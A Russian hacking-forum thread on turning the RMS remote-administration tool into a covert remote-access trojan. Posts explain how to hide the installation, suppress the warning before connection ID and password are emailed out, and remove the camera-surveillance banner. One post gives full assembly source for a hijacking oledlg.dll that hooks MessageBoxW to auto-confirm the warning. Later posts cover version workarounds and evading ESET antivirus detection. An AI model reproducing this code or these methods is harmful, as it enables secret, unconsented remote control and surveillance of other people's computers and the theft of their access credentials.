RMS 5.1 c отправкой ID и pass на почту.

Тема в разделе "Статьи", создана пользователем крах, 14 сен 2011.

Статус темы:
Закрыта.
  1. freerun8881
    freerun8881 Новичок
    Симпатии:
    1
    Подскажите как установить rms не в c:\Program Files\...Manipulator server,а например в system32,а то так он сильно палится,пробовал скрыть эту папку через командную строку,но безуспешно,он не может менять атрибуты у папки с длинным названием когда есть пробелы?
     
    28 окт 2012
  2. sekVAren
    sekVAren Новичок
    Симпатии:
    2
    Да! Тема - руль! Спасибо, КРАХ ;)

    Добавлено через 2 минуты
    Господа! Такой вопрос. Допустим я нахожусь за компом на котором установлен РМС сервер. Как мне узнать пароль???
     
    Последнее редактирование: 29 окт 2012
    29 окт 2012
    1 человеку нравится это.
  3. scandalist
    scandalist Новичок
    Симпатии:
    3
    Я за Вас рад. Подмена dll называется dll splising. Это баг в Windows разных версий. Программа, если в ней вызывается какая-нибудь функция из dll даже и системной, сначала ищет эту dll в собственной папке и если не находит, то ищет в системной папке. Используя эту уязвимость, можно написать поддельную dll с таким же именем, которая все приходящие вызовы переадресует на настоящую dll. Но если придет конкретный вызов функции, с конкретными параметрами, то эта подложная dll сделает или не сделает то что нам нужно. В данном конкретном случае, при вызове окна отправки ID она не станет этого делать, но ответит основной программе, что всё Ok: окно показала, разрешение получила.
    Вы разумеется сможете самостоятельно написать такую DLL и множество других. Вам понадобится обычный Блокнот и знание языка программирования, ну и компилятор соответствующий. Для исходников Саламандры это Fasm.

    читайте тему, патченные файлы убирают только баннер камеры. Всё остальное делает инсталлятор.

    Пересоберите инсталлятор с другими настройками. В теме описывалось как это делать.

    Никак, на то он и пароль.
    Можете экспортнуть ветку реестра с настройками RMS и поковыряться в них, но вряд ли что выйдет. Можете импортнуть такую ветку со своего компьютера, настройки и пароль в том числе изменятся на ваши. Но это палево.
    UPD. Если покопаться, что там делается при конфигурировании пакета MSI через вьювер. ID и пароль отправляет сама rutserv.exe так как и окно с подтверждением выдает она же. Разобравшись, что там происходит при установке msi на последнем этапе, каким образом инициируется отправка ID. И написать программку или скрипт или msi который будет выполнять только повторную отправку ID и пароля но уже на наше мыло.
    Как это сделать я не знаю, я стратегию задал, реализация ваша.
     
    Последнее редактирование: 29 окт 2012
    29 окт 2012
    1 человеку нравится это.
  4. scalpel
    scalpel Новичок
    Симпатии:
    4
    Немножко поправлю.Уязвимость называется dll нijacking и является самой древней
    по всей линейке винды.Более обстоятельно,как все это делается можно к примеру по этим статьям.
    http://kaimi.ru/2010/08/прибыльный-dll-hijacking
    http://kaimi.ru/2010/09/steal-steam
    http://kaimi.ru/2010/08/your-own-injector
    А еще нужно обладать хотя бы минимальными знаниями ассемблера и реверсинга.
     
    29 окт 2012
    1 человеку нравится это.
  5. toxic0
    toxic0 Новичок
    Симпатии:
    0
    Регился на xakepy.cc чтобы связаться с Саламандрой. Но она шифруется. А сегодня хотел зайти на сайт, а сайт еще и лежит к тому же. Вот такие дела :)

    [+] скрин
    [​IMG]
    [свернуть]



    У меня сохранились сырцы. Предлагаю разобраться совместными усилиями. Где, в каком месте она перехватывает вызов окна с предупреждением об отправке ID? Помню Саламандра говорила что при нажатии кнопки "Да" в регистр eax заносится 6-ка. Нужно занести 6-ку в регистр не создавая окна.


    [+] oledlg.asm

    Код:
    format PE GUI 4.0 DLL
    entry DllEntryPoint
    		     
      include 'windows.inc'
    		     
    		     
    	  HOOK_DLL_NAME equ	'\oledlg.dll'
    		     
    section '.code' code readable executable
    		     
    ;--------------------------------------------------------------------------------; 
    ; [DllEntryPoint]
    ;--------------------------------------------------------------------------------; 
                         
      proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
        .if        [fdwReason] = DLL_PROCESS_ATTACH
              invoke     GetSystemDirectory,szSysDllPath,256
              cinvoke    strcat,szSysDllPath,HOOK_DLL_NAME
              invoke     LoadLibrary,addr szSysDllPath
              mov        [hHookMod],eax
              invoke     RtlAddVectoredExceptionHandler,1,VectoredExceptionHandler
              mov        [handler],eax
              cinvoke    memcpy,origbyte,[MessageBox],1
              stdcall    SetHook,MessageBox,newbyte
        .elseif    [fdwReason] = DLL_PROCESS_DETACH
              invoke     FreeLibrary,[hHookMod]
        .endif     
              mov        eax,TRUE
              ret        
      endp    
                         
                         
    ;--------------------------------------------------------------------------------; 
    ; [GetProcAddr]
    ;--------------------------------------------------------------------------------; 
                         
      proc GetProcAddr,szProcName
              invoke     GetProcAddress,[hHookMod],[szProcName]
              ret        
      endp    
                         
                         
                         
                         
                         
                         
    ;--------------------------------------------------------------------------------;
    ; [SetHook]
    ;--------------------------------------------------------------------------------;
    
      proc SetHook uses ebx edi,addrcode,byte
        locals 
              OldProtect           dd ?
        endl 
              lea        ebx,[OldProtect]
              mov        edi,[addrcode]
              mov        edi,[edi]
              stdcall    _ZwProtectVirtualMemory,-1,edi,1,PAGE_EXECUTE_READWRITE,ebx
              cinvoke    memcpy,edi,[byte],1
              stdcall    _ZwProtectVirtualMemory,-1,edi,1,[OldProtect],ebx
              ret        
                         
      endp    
                         
                         
                         
    ;--------------------------------------------------------------------------------; 
    ; [_ZwProtectVirtualMemory]
    ;--------------------------------------------------------------------------------; 
                         
      proc _ZwProtectVirtualMemory ProcessHandle,BaseAddress,BytesToProtect,NewProtection,OldProtection
              invoke     ZwProtectVirtualMemory,[ProcessHandle],addr BaseAddress,addr BytesToProtect,[NewProtection],[OldProtection]
              ret        
      endp    
                         
                         
    ;--------------------------------------------------------------------------------; 
    ; [VectoredExceptionHandler]
    ;--------------------------------------------------------------------------------; 
                         
      proc VectoredExceptionHandler uses ebx,ExceptionPointers
              mov        ebx,[ExceptionPointers]
              assign     ebx,EXCEPTION_POINTERS
              mov        edx,[.ebx.pExceptionRecord]
              assign     edx,EXCEPTION_RECORD
              mov        ecx,[.ebx.ContextRecord]
              assign     ecx,CONTEXT
              cmp        [.edx.ExceptionCode],EXCEPTION_BREAKPOINT
              jne        @f
              mov        [.ecx.regEax],6
              push       FakeMessageBox
              pop        [.ecx.regEip]
              stdcall    SetHook,MessageBox,origbyte
              invoke     RtlRemoveVectoredExceptionHandler,[handler]
              mov        eax,EXCEPTION_CONTINUE_EXECUTION
              ret        
      @@:        
              mov        eax,EXCEPTION_CONTINUE_SEARCH
              ret        
      endp    
                         
                         
      FakeMessageBox: 
              pop        ecx
              add        esp,4*4
              jmp        ecx
                         
    		     
    		     
    		     
    		     
    		     
    section '.data' data readable writeable
    		     
    	  origbyte	       db 0
    	  newbyte	       db 0cch
    	  szSysDllPath	       db 256 dup (?)
    	  handler	       dd ?
    	  hHookMod	       dd ?
    		     
    		     
    		     
    HookApi   OleUIAddVerbMenuA,\
    	  OleUICanConvertOrActivateAs,\ 
    	  OleUIInsertObjectA,\ 
    	  OleUIPasteSpecialA,\
              OleUIEditLinksA,\
              OleUIChangeIconA,\
              OleUIConvertA,\
              OleUIBusyA,\
              OleUIUpdateLinksA,\
              OleUIPromptUserA,\
              OleUIObjectPropertiesA,\
              OleUIChangeSourceA,\
              OleUIAddVerbMenuW,\
              OleUIBusyW,\
              OleUIChangeIconW,\
              OleUIChangeSourceW,\
              OleUIConvertW,\
              OleUIEditLinksW,\
              OleUIInsertObjectW,\
              OleUIObjectPropertiesW,\
              OleUIPasteSpecialW,\
              OleUIPromptUserW,\
              OleUIUpdateLinksW 
    		     
    		     
    		     
    section '.idat' import readable executable
    		     
      library kernel32,'KERNEL32.DLL',\
    	  user32,'USER32.DLL',\ 
    	  ntdll,'NTDLL.DLL' 
    		     
      import  kernel32,\
    	  GetSystemDirectory,'GetSystemDirectoryA',\
    	  LoadLibrary,'LoadLibraryA',\
    	  FreeLibrary,'FreeLibrary',\
    	  GetProcAddress,'GetProcAddress'
    
      import   user32,\
    	   MessageBox,'MessageBoxW'
    
      import  ntdll,\
    	  ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
    	  RtlAddVectoredExceptionHandler,'RtlAddVectoredExceptionHandler',\
    	  RtlRemoveVectoredExceptionHandler,'RtlRemoveVectoredExceptionHandler',\
    	  memcpy,'memcpy',\
    	  strcat,'strcat'
    
    section '.reloc' fixups data discardable
       

    [свернуть]



    И вот на тот случай если хареру не встанет, то

    [+] кэш гугла
    Всё довольно просто!Когда вываливается мессага,то из тела "rutserv.exe",или "rfusclient.exe",(не занималась детальным анализом,поэтому точно сказать не могу,но одинаковое присутствует в обеих файлах)вызвается апишка MessageBoxW и после нажатия отправить на мыльник данные для подключения в регистр eax заноситься значение 6,что говорит программе совершить требуемые действия.Для того что б исключить отображение сообщения и одновременно выслать письмецо,нужно каким то образом совершить перехват данной айпишки и в своём обработчике,не вызывая оригинального кода подставить в регистр eax правильный указатель.Прямой патчинг не подходит из за наличия цифровой подписи у файлов,остаётся внедрение своего кода в адресное пространство процесса.Самым простым и беспалёвным способом является использование уязвимости типа dll Hijacking.Суть уязвимости сводится к тому,что приложение не проверяет корректность путей при загрузки файлов в частности системных длл например и можно создать файл с одинаковым названием и поместить в одну директорию с программой и произойдёт загрузка.В этой своей дллке установить перехват посредством сплайсинга,или другими способами,придумано множество,один из самых простых сплайсинг,очень старый,но вполне подойдёт для такой прикладной задачи.Вот и вся метода.Из системных длл к примеру можно использовать rasadhlp.dll.
    [свернуть]



    Мне кажется что изменения производились в процедуре векторного обработчика исключений VectoredExceptionHandler, а именно строчка mov [.ecx.regEax],6 Здесь мне всё понятно.

    Дальше вызывается функция FakeMessageBox с таким вот содержимым:

    Код:
    FakeMessageBox: 
              pop        ecx
              add        esp,4*4
              jmp        ecx
    И вот не могу понять FakeMessageBox тоже Саламандра написала и зачем?
     
    Последнее редактирование: 31 окт 2012
    31 окт 2012
  6. scalpel
    scalpel Новичок
    Симпатии:
    4
    Для передачи управления в основной код программы.
    pop ecx ;выталкивается адрес возврата из стека на следующею инструкцию
    add esp,4*4 ;очищается стек от параметров функции
    jmp ecx ;передается управление на эту инструкцию

    Это можно было выразить и так:

    proc FakeMessageBox hWnd,lpText,lpCaption,uType
    ret
    endp
     
    31 окт 2012
  7. toxic0
    toxic0 Новичок
    Симпатии:
    0
    Вот теперь понять бы почему ложная dll-ка не срабатывает в последней версии. При запуске rutserv /start вижу что oledlg.dll поднимается в процессах и системная, и наша. Поднимает её rfusclient. Т.е. всё должно работать, но не работает. Видимо в RMS5.3 используются другой регистр или значение не 6, а что-нибудь еще 7, например. Или используеся другая функция для вызова окна не MessageBoxW а MessageBoxA, например. Тестирую на WIN 8. Не знаю. Проверить можно только одним путем. Олли. Но если я открываю Олли, то rutserv не стартует. Если правильно понимаю это защита. Пробую приаттачить уже запущенный процесс когда окно с уведомлением о передаче ID появляется. Пока все безрезультатно. Вобщем нужен опытный боец который сможет показать как найти это окно и посмотреть значения в регистрах при нажатии "ДА" или "НЕТ" желательно с видео чтобы самому во всем разобраться. Есть кто собаку съевший на крэкинге? Есть у кого поучиться? incode |scandalist | scalpel У меня есть печеньки )))
     
    Последнее редактирование: 1 ноя 2012
    1 ноя 2012
  8. nebra
    nebra Новичок
    Симпатии:
    13
    ребята кто не будь разбирается по OllyDbg есть у каго опыт,мне нужна помощь,я тоже буду помогать подсказывать=)
     
    2 ноя 2012
  9. toxic0
    toxic0 Новичок
    Симпатии:
    0
    Тебе сюда
     
    2 ноя 2012
  10. wessette
    wessette Новичок
    Симпатии:
    0
    1)Я откатился на версию 5.2.1 не нашел вьювер 5.2
    http://www.xaker.name/forvb/showpost.php?p=172599&postcount=711
    поэтому искал 5.2.1 и нашел взял файлы скандалиста патченные для 5.2.1 сделал как в этой статье http://www.xaker.name/forvb/showpost.php?p=170250&postcount=1
    у меня при установке пишет ошибка English.lg то что файла CAB нет в DATA1 .
    Пересобрал пробовал вставить вместе с другими файлами. я долго ломал голову и не мог понять как вы делаете сборку сервера.
    2)По сборке
    скандалиста не из 711 поста а из более позднего Self install даже стандартный сервер не ставит просто не работает. rms.msi итд все у меня правильно тут. Поэтому использую из 711 поста.
    Перечитал 3 ветки форума сижу тут уже часов 30 и просто не могу понять что я делаю не так. rfusclient.exe и rutserv.exe пытаюсь запихнуть в свой серв как описал vlader пробовал с файлами саламандры без файлов. пробовал очень много комбинаций. Но не хочет он у меня работать .

    3)Скажите как вы rfusclient.exe и rutserv.exe запихиваете в свой сервер это и dll саламандры потому что сервер 5.2.1(нормальный) и вьювер версии 5.2 я не нашел . у меня как то все по полам =) Поэтому использую стандартный сервер и вьювер и пытаюсь собрать сам...

    П.С. Я совсем дурной правда.. Но за 30 часов я уже выучивал форум наизусть и я отвратительно знаком с программированием. Просто мне это программа нужна для 1 компа ^_^ причем очень ...

    п.с 2 я пробовал шаманить со всеми файлами окаченными с этого форума смотрел исходники через инсталшилд(там я вообщем потерялся когда увидел сервер скандалиста он очень сильно отличается от vlader. И тогда я решил написать этот пост... Да я нуб,чмо и прочее но помогите сам не разберусь уже понял
     
    Последнее редактирование: 4 ноя 2012
    4 ноя 2012
  11. scandalist
    scandalist Новичок
    Симпатии:
    3
    Обновил пост до версии 5.3
     
    4 ноя 2012
  12. wessette
    wessette Новичок
    Симпатии:
    0
    scandalist,
    можешь пожалуйста в пм объяснить как настраивать сервер очень хочу понять=)

    в том смысле какие программы и что я не так делал . Потому что мне это покоя не дает
     
    Последнее редактирование: 4 ноя 2012
    4 ноя 2012
  13. scandalist
    scandalist Новичок
    Симпатии:
    3
    Открываешь ссылку из моего предыдущего поста и делаешь тупо по пунктам. Сервер уже пересобран как положено, надо только настроить под себя.
     
    4 ноя 2012
  14. toxic0
    toxic0 Новичок
    Симпатии:
    0
    5.3.1b2 ?
    Где фикс предупреждения об отправке ID?
    Где фикс предупреждения о видеонаблюдении?

    Ничего этого в сборке нет. Зачем такое выкладывать?
     
    Последнее редактирование: 4 ноя 2012
    4 ноя 2012
  15. spiritors123
    spiritors123 Новичок
    Симпатии:
    0

    Не гони на него все работает на ура:) никаких предупреждений и прочей по*бни
    Непонятно стучи в скайп nikita.mansurov:af:

    scandalist, Спасибо за сборку
     
    Последнее редактирование: 4 ноя 2012
    4 ноя 2012
  16. toxic0
    toxic0 Новичок
    Симпатии:
    0
    Ты бы проверил прежде чем писать на разный виндах. Например, на win8. Или пусть для тебя это окажется приятной неожиданностью. *xD* Еще и скайпом дырявым светишь. Детский сад.
     
    5 ноя 2012
  17. wessette
    wessette Новичок
    Симпатии:
    0
    windows 7 - просить разрешения на отправку ид, банера нет
    windows XP - все идеально не просит ид и банера нет
     
    5 ноя 2012
  18. toxic0
    toxic0 Новичок
    Симпатии:
    0
    windows 8 просит разрешения и баннер есть. Такие дела. :)
     
    5 ноя 2012
  19. scandalist
    scandalist Новичок
    Симпатии:
    3
    win8 у меня нет, проверить не могу. на win7 вечером проверю, удивлен.

    UPD. Действительно. На win7 на новой версии показывает окно ID. Судя по всему они изменили процедуру для совместимости с Win8. oledlg.dll больше не работает.
    Либо надо писать dll заново, но это не ко мне.
    Либо берем этот комплект сервер-вьювер 5.2.1 с его помощью конфигурируем сервер раз и навсегда. Потом устанавливаем последний вьювер. После развертывания сервера на удаленном компьютере файл менеджером меняем exe сервера на последнюю версию. И пользуемся дальше.
     
    Последнее редактирование: 6 ноя 2012
    5 ноя 2012
  20. wald78
    wald78 Новичок
    Симпатии:
    1
    Всем привет! :)

    у всех сборку палит Eset!! Раньше такого не было (((( кто то знает как обойти это?/facepalm Заранее :thx::thx::thx:
    может они эту прогу добавили в свою антивирь. базу oO
     
    5 ноя 2012
Статус темы:
Закрыта.
Загрузка...